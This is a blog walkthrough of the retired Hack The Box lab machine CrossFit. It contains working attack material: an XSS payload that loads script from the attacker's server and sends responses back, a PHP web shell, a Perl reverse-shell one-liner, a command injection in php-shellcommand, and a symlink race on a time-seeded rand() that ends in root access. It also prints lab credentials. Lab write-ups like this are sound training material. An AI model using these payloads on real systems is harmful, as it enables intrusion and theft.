This post documents the complete walkthrough of CrossFit, a retired vulnerable VM created by polarbearer and GibParadox, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


CrossFit is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a nmap probe to establish the open ports in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
21/tcp open  ftp     syn-ack ttl 63 vsftpd 2.0.8 or later
| ssl-cert: Subject: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US
| Issuer: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-04-30T19:16:46
| Not valid after:  3991-08-16T19:16:46
| MD5:   557c 36e4 424b 381e eb17 708a 6138 bd0f
|_SHA-1: 25ec d2fe 6c9d 7704 ec7d d792 8767 4bc3 8d0e cbce
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 b0:e7:5f:5f:7e:5a:4f:e8:e4:cf:f1:98:01:cb:3f:52 (RSA)
|   256 67:88:2d:20:a5:c1:a7:71:50:2b:c8:07:a4:b2:60:e5 (ECDSA)
|_  256 62:ce:a3:15:93:c8:8c:b6:8e:23:1d:66:52:f4:4f:ef (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.38 ((Debian))
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works

It doesn’t look like we have any way in except http.

Hacking with nmap

It’s not every day you see SSL certificate appearing on 21/tcp. Notice that additional information about the SSL certificate shows up if you increase the verbosity?

21/tcp open  ftp     syn-ack ttl 63 vsftpd 2.0.8 or later
| ssl-cert: Subject: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US/[email protected]
| Issuer: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US/[email protected]
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-04-30T19:16:46
| Not valid after:  3991-08-16T19:16:46
| MD5:   557c 36e4 424b 381e eb17 708a 6138 bd0f
| SHA-1: 25ec d2fe 6c9d 7704 ec7d d792 8767 4bc3 8d0e cbce
| aXQgTHRkLjEXMBUGA1UEAwwOKi5jcm9zc2ZpdC5odGIxKTAnBgkqhkiG9w0BCQEW
| CSqGSIb3DQEJARYaaW5mb0BneW0tY2x1Yi5jcm9zc2ZpdC5odGIwggEiMA0GCSqG
| LdkW/OSl4tfEdZYn6U5cNYKTyYJ8CuytGlMpFw5OgOBPATtBYoGrQZdlN+7LQwF+
| CZsedPs30ijAhygI7pM5S0hwiqdVReR/hhFHD/zry3M5+9NGeDLPgLbQG8qgPspv
| Y+ErCXXotxVI+VrTPfGkjPixfgUTYsEetrkmXlig0S2ukxmNs7HXkjli4Z+qpGrn
| mpFQokBE6RlD6VjxPzx0pfgK587s7F0/pIfXTHGfIOMnqXuLKBXsYIAEjJQxlLUt
| U3lb7aZdqIZnvhTuzuOxFUIe5dRWyfERyODEd5WUlwsbY4Qo2HhZAgMBAAGjUzBR
| A4IBAQB/tGKHZ9oXsqLGGW0wRRgCZj2adl1sq3S69e9R4yVQW7zU2Sw38CAA/O07
| MEgbqrzUI0c/T+Wb1D+gRamCUxSB7FXfMzGRhwUqMsLp8uGNlxyDcMU34ecRwOil
| r4jLmfeGyok1r8CFHg8Om1TeZfzNeVtkAkqf3XoIxbKQk4s779n/84FAtLkZNqyb
| cSv8nnClQQSlf42P3AiRBbwM1Cx9SyKq977sIwOzKTOM4NcSivNdtov+Pc0z+T9I
| 95SsqLKtO/8T0h6hgY6JQG1+A4ivnlZ8nqSFWYsnX10lJN2URlAwXUYuTw0vCMy+
| Xk0OmbR/oG052H02ZsmfJQhqPNF1

A virtual host gym-club.crossfit.htb appears! I’d better put that and crossfit.htb into /etc/hosts. This is what gym-club.crossfit.htb looks like.

Looks great. I feel so pumped up!

Access-Control-Allow-Origin (ACAO)

While I was navigating around the site, I notice the presence of Access-Control-Allow-Credentials response header.

Armed with that insight, I can utilize the Origin request header to fuzz for other subdomains.

Here’s a simple script to do that.


function die() {
    killall perl 2>/dev/null

export -f die

function check() {
    local HOST=
    local FUZZ=$1
    local DOMAIN=crossfit.htb
    if curl -s \
            -I \
            -H "Origin: http://$FUZZ.$DOMAIN" \
            -H "Host: $FUZZ.$DOMAIN" \
            -x \
            http://$HOST \
       | grep -E 'Access-Control-Allow-Origin' &>/dev/null; then
        echo "$FUZZ.$DOMAIN is valid"

export -f check

parallel -q -j20 check :::: $WORDLIST

Let’s give it a shot.

Awesome. Let’s add ftp.crossfit.htb into /etc/hosts.

Cross Site Scripting (XSS)

There’s a page blog-single.php in the site that’s susceptible to cross-site scripting, specifically the comment section at the bottom of the page.

See what happens when I left a JavaScript snippet in the comments.

Hmm. Where is this security report? Interesting that the report will have my IP address and my browser information (user-agent?), and the admin’s immediate attention (client-side attack?). Now compare it to a normal comment.

If I had to guess, I would say that the User-Agent request header is susceptible to cross-site scripting and it can be used to bypass the WAF.

To test this hypothesis, I set up a Apache web server and tail off the access log. You may ask why not use Python’s http.server module? That’s because the information is not as detailed as the access log. You’ll see.

Suppose you send the following request.

You’ll see the following in the access log. - - [05/Oct/2020:01:51:59 +0000] "GET / HTTP/1.1" 200 3380 "http://gym-club.crossfit.htb/security_threat/report.php" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"

You sure don’t get Referrer and User-Agent information in Python’s http.server module. Interesting—another directory and file is exposed.

Hmm. It says I’m not allowed to access this page. Who is allowed? Suppose I plant the following JavaScript at my web server.

var req = new XMLHttpRequest();
req.onload = reqListener;'get','http://gym-club.crossfit.htb/security_threat/report.php',true);
req.withCredentials = true;

function reqListener() {
location='//' + btoa(this.responseText);

And submit the following request.

This is what I see in the access log. - - [05/Oct/2020:05:14:27 +0000] "GET /script.js HTTP/1.1" 200 574 "http://gym-club.crossfit.htb/security_threat/report.php" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" - - [05/Oct/2020:05:14:27 +0000] "GET /log?key=PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICA8dGl0bGU+U2VjdXJpdHkgUmVwb3J0PC90aXRsZT4KICA8c3R5bGU+CiAgICB0YWJsZSwgdGgsIHRkIHsKICAgICAgYm9yZGVyOiAxcHggc29saWQgYmxhY2s7CiAgICB9CiAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGg0PkxvZ2dlZCBYU1MgYXR0ZW1wdHM8L2g0Pgo8dGFibGU+CiAgPHRoZWFkPgogICAgPHRyPgogICAgICA8dGQ+VGltZXN0YW1wPC90ZD4KICAgICAgPHRkPlVzZXIgQWdlbnQ8L3RkPgogICAgICA8dGQ+SVAgQWRkcmVzczwvdGQ+CiAgICA8L3RyPgogIDwvdGhlYWQ+Cjx0Ym9keT4KPC90Ym9keT4KPC9ib2R5Pgo8L2h0bWw+Cg== HTTP/1.1" 404 489 "http://gym-club.crossfit.htb/security_threat/report.php" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"

I wrote a simple script that’ll decode the base64-encoded string seen above and prettify the HTML with xmllint.

echo $1 | base64 -d | xmllint --pretty 2 --html --nowarning -

Let’s see the script in action.

# ./ PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICA8dGl0bGU+U2VjdXJpdHkgUmVwb3J0PC90aXRsZT4KICA8c3R5bGU+CiAgICB0YWJsZSwgdGgsIHRkIHsKICAgICAgYm9yZGVyOiAxcHggc29saWQgYmxhY2s7CiAgICB9CiAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGg0PkxvZ2dlZCBYU1MgYXR0ZW1wdHM8L2g0Pgo8dGFibGU+CiAgPHRoZWFkPgogICAgPHRyPgogICAgICA8dGQ+VGltZXN0YW1wPC90ZD4KICAgICAgPHRkPlVzZXIgQWdlbnQ8L3RkPgogICAgICA8dGQ+SVAgQWRkcmVzczwvdGQ+CiAgICA8L3RyPgogIDwvdGhlYWQ+Cjx0Ym9keT4KPC90Ym9keT4KPC9ib2R5Pgo8L2h0bWw+Cg==
<!DOCTYPE html>
  <title>Security Report</title>
    table, th, td {
      border: 1px solid black;
<h4>Logged XSS attempts</h4>
      <td>User Agent</td>
      <td>IP Address</td>

Ah! So that’s how we can bypass the WAF to achieve cross-site scripting. Now, we have a way to request for internal URLs. To help myself facilitate requesting internal URLs, I wrote the following script.


cat <<EOF > $SCR
var req = new XMLHttpRequest();
req.onload = reqListener;'VERB','URL',true);
req.withCredentials = true;

function reqListener() {
    location='//' + btoa(this.responseText);

sed -i "s|VERB|$VERB|g" $SCR
sed -i "s|URL|$URL|g" $SCR

curl -s \
     -o /dev/null \
     -A "<script src=></script>" \
     -d "name=x&email=x&phone=x&message=%3Cscript%3E&submit=submit" \
     -H "Host: gym-club.crossfit.htb" \
     -H "Origin: http://gym-club.crossfit.htb" \
     -H "Referer: http://gym-club.crossfit.htb/blog-single.php" \

sleep 5s

./ $(grep -Eo 'key=.* ' /var/log/apache2/access.log \
| sed '$!d' \
| awk '{ print $1 }' \
| sed -e 's/key=//' -e 's/ $//')

FTP Hosting - Account Management

Let’s see if we can read http://ftp.crossfit.htb/.

Interesting. How do we create a FTP account?

Damn. Looks like we have to submit a CSRF token, username and password. Modification to my little request script is sorely needed. Fret not, I’ve re-purposed the above script to the following.


cat <<EOF > $SCR
var formData = new FormData();
formData.append('_token', 'TOKEN');
formData.append('username', 'USER');
formData.append('pass', 'PASS');
formData.append('submit', 'Submit');
var req = new XMLHttpRequest();
req.onload = reqListener;'POST','URL');
req.withCredentials = true;

function reqListener() {
    location='//' + btoa(this.responseText);

sed -i "s|URL|$URL|g" $SCR
sed -i "s|TOKEN|$TOKEN|g" $SCR
sed -i "s|USER|dipshit|g" $SCR
sed -i "s|PASS|dipshit|g" $SCR

curl -s \
     -o /dev/null \
     -A "<script src=></script>" \
     -d "name=x&email=x&phone=x&message=%3Cscript%3E&submit=submit" \
     -H "Host: gym-club.crossfit.htb" \
     -H "Origin: http://gym-club.crossfit.htb" \
     -H "Referer: http://gym-club.crossfit.htb/blog-single.php" \

sleep 5s

./ $(grep -Eo "key=.* " /var/log/apache2/access.log \
| sed '$!d' \
| awk '{ print $1 }' \
| sed -e 's/key=//' -e 's/ $//')

FTP Access

Now that I have FTP credentials (dipshit:dipshit), I can access the FTP service with a FTP client that supports FTPS such as Filezilla.

Long story short, I know I have write access to development-test, which looks like another subdomain of crossfit.htb. This time round, I can plant a backdoor PHP file into development-test and achieve remote command execution. The backdoor PHP file can be a simple file like so.

<?php echo shell_exec($_GET[0]); ?>

Let’s execute a remote command!


With that, we can run a Perl one-liner reverse shell back to us with the request script.

perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

And boom we have our reverse shell.

Getting user.txt

We have two users: hank and isaac. They are both members of the admins group.

The file user.txt is at hank’s home directory.

Another thing I notice is that every user except ftpadm and root is allowed to SSH with password. So, the next thing to do must be to look for hank’s password. To do that, I enlist the help of LinPEAS to look for possible files that may provide clues as to where hank’s password is.

[+] Searching specific hashes inside files - less false positives (limit 70)

Heck, that was fast for hank!

Cracking the hash offline is equally fast.

Armed with hank’s password (powerpuffgirls) :laughing: we can log in to his account via SSH.

And retrieve user.txt.

Pwning isaac’s account

During enumeration of hank’s account with LinPEAS, I notice that hank has the rights to read from /etc/pam.d.

The file /etc/pam.d/vsftpd caught my eye.

Looks like we have ftpadm’s password (8W)}gpRJvAmnb)!

In addition to the above, I also notice that in /etc/crontab a job is running every minute on the minute as isaac.

To my surprise, I can read send_updates.php.

 * Send email updates to users in the mailing list *
use mikehaertl\shellcommand\Command;

    $fs_iterator = new FilesystemIterator($msg_dir);

    foreach ($fs_iterator as $file_info)
            $full_path = $file_info->getPathname();
            $res = $conn->query('SELECT email FROM users');
            while($row = $res->fetch_array(MYSQLI_ASSOC))
                $command = new Command('/usr/bin/mail');
                $command->addArg('-s', 'CrossFit Club Newsletter', $escape=true);
                $command->addArg($row['email'], $escape=true);

                $msg = file_get_contents($full_path);


Command Injection in php-shellcommand < 1.6.1

According to composer.json, and Synk,

Affected versions of this package are vulnerable to Command Injection. User input is concatenated with a command within addArg() that will be executed without any check.

Armed with this insight, we can perform command injection into the database directly. If I have to guess, I would say db.php contains the credentials to access the database. Where else can I find this file because hank certainly doesn’t have the rights to read /home/isaac/send_updates/includes/db.php?

Right, maybe they are identical?

Check this out.

We should be good. One more thing. Notice that a file has to exist in $msg_dir before the command injection is triggered? Where the heck is $msg_dir? Lo and behold, see what happens when you log in to the FTPS service as ftpadm. I’m guessing $msg_dir refers to /messages.

Here’s the game plan. I put any file (echo pwned > pwned.txt) into /messages.

Inject the following string into the crossfit database.

Wait for the cron job to do its thing and we have a reverse shell as isaac!

To maintain persistence, let’s plant a SSH public key we control into /home/issac/.ssh/authorized_keys.

Privilege Escalation

Notice that issac last logged in on May 12, 2020 02:53:34? Putting on my forensics hat, let’s find out which files were last modified after that date/time like so.

Because of hidepid=2 in /proc, we can’t use a tool like pspy to monitor the processes but if I had to guess, I would say that root has a cron job running dbmsg and this is our ticket to privilege escalation.

Binary exploitation of dbmsg

The graph overview of function process_data() is shown below.

The crucial block of process_data() where the action is taking place is shown below.

How dbmsg works?

Basically, dbmsg first checks if the user is root with geteuid(2). If the user is not root, dbmsg terminates with 1, otherwise dbmsg proceeds to log in to the crossfit database with credentials (crossfit:oeLoo~y2baeni) and executes the following query: SELECT * FOM messages;, to extract the message in the following format: name<SPACE>message<SPACE>email. The extracted message is then saved in /var/local/<random_string> and zipped up in /var/backups/mariadb/ before /var/local/<random_string> is deleted and the message is deleted from the crossfit database.

Race condition in rand()

A little word on <random_string> and how it’s derived—<random_string> is simply the output of the MD5 hash of a random integer string from rand() appended with a string “1”. Where is the race condition you ask? Well, the rand() in dbmsg is seeded with time(0), the local date/time in seconds from January 1, 1970, a.k.a Epoch time or Unix time.

The rand() portion in dbmsg is best explained with a little C code shown below:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    char r[48];
    int now =  time(0);
    snprintf(r, 48, "%d%s", rand(), "1");
    printf("%s", r);

Exploit Development

Notice something familiar with the format name<SPACE>message<SPACE>email? Well, it looks like the format in authorized_keys! With that, we can inject a SSH public key we control into the messages table, create a symbolic link between /root/.ssh/authorized_keys and /var/local/<random_string>, and if root really executes that cron job I think it does, we should be able to log in via SSH as root. Sounds like a plan!

Whoa. Wait a minute. How are we going to control what <random_string> is? That’s where the race condition comes in. We can transfer the executable race over to the issac’s account and do something like so.

$ while :; do ln -s /root/.ssh/authorized_keys /var/local/$(./race | md5sum | tr -d ' -'); done 2>/dev/null

In the mean time, we can inject the following into the messages table in hank’s account and watch it disappear.

$ mysql -ucrossfit -p'oeLoo~y2baeni' crossfit -e "INSERT INTO messages VALUES (1, 'ssh-ed25519', '[email protected]', 'AAAA...Anb7a');"
$ watch -n1 "mysql -ucrossfit -p'oeLoo~y2baeni' crossfit -e 'SELECT * FROM messages;'"

Special Exploit Video!!!

Getting root.txt

Like I always say, getting root.txt with a root shell is a breeze.